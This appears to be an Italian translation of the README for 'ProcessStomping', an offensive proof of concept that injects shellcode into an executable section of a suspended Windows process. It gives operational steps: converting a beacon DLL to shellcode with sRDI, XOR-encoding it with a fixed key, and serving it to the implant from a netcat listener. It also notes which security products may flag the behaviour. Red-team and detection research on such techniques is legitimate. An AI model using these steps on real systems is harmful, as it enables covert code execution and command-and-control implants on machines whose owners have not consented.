
Una variazione di ProcessOverwriting per eseguire shellcode su una sezione di un eseguibile
Una variazione del ProcessOverwriting per eseguire shellcode su una sezione di un eseguibile
Per una spiegazione più dettagliata puoi leggere il mio post del blog
Process Stomping è una variazione del Process Overwriting di hasherezade e ha il vantaggio di scrivere un payload shellcode su una sezione bersaglio invece di scrivere un intero payload PE nello spazio degli indirizzi del processo ospite.
Questi sono i passaggi principali della tecnica ProcessStomping:
Come esempio di applicazione della tecnica, il PoC può essere utilizzato con sRDI per caricare una dll beacon su una sezione RWX di un eseguibile. L'immagine seguente descrive i passaggi coinvolti.

Tutte le informazioni e i contenuti sono forniti solo a scopo educativo. Segui le istruzioni a tuo rischio. Né l'autore né il suo datore di lavoro sono responsabili per danni diretti o consequenziali o perdite derivanti da qualsiasi persona o organizzazione.
Questo lavoro è stato reso possibile grazie alla conoscenza e agli strumenti condivisi da Aleksandra Doniec @hasherezade e Nick Landers.
Seleziona il tuo processo di destinazione e modifica le variabili globali di conseguenza in ProcessStomping.cpp.
Compila il progetto sRDI assicurandoti che l'offset sia sufficiente per saltare oltre il blob shellcode sRDI generato, quindi aggiorna gli strumenti sRDI:
cd \sRDI-master
python .\lib\Python\EncodeBlobs.py .\
Genera un payload dll senza Reflective Loader a tua scelta, quindi genera il blob shellcode sRDI:
python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll
Il blob shellcode può quindi essere xorato con una parola chiave e scaricato utilizzando un semplice socket
python xor.py noRLx86.bin noRLx86_enc.bin Bangarang
Consegna il blob xorato alla connessione
nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin
Il blob sRDI verrà cancellato dopo l'esecuzione per rimuovere artefatti non necessari.
https://github.com/naksyn/ProcessStomping/assets/59816245/8d9e1ac2-b47c-41d5-9f0e-1b3fee14ba50
Per eseguire con successo questa tecnica, dovresti selezionare il processo di destinazione giusto e utilizzare un payload dll che non includa un Reflective Loader definito dall'utente.
La tecnica Process Stomping richiede di avviare il processo di destinazione in uno stato sospeso, modificare il punto di ingresso del thread e poi riprendere il thread per eseguire lo shellcode iniettato. Queste sono operazioni che potrebbero essere considerate sospette se eseguite in rapida successione e potrebbero portare a un maggiore scrutinio da parte di alcune soluzioni di sicurezza.